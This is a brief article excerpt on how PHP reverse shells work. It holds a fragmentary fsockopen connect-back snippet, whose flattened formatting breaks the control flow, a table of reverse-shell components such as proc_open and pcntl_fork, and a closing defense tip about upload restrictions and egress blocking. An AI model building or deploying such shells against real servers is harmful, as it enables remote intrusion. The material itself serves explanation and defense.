This article explores how PHP reverse shells work, common payload implementations, how to set up listeners, and how to defend against these attacks. How a PHP Reverse Shell Works
// Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) // Failed to connect echo "Error: $errstr ($errno)"; exit(1);
| Component | Purpose | Implementation | |-----------|---------|----------------| | TCP Socket Manager | Establishes outbound TCP connection | fsockopen() function | | Shell Process Handler | Spawns and manages command shell | proc_open() or exec() | | Descriptor Specification | Defines stdin/stdout/stderr redirection | Array configuration | | Stream Controller | Manages data flow between socket and shell | stream_set_blocking(), stream_select() | | Daemonization Module | Runs script as background process | pcntl_fork() (when available) |
Defense in depth means patching both: restrict file uploads/execution AND block unexpected outbound connections.
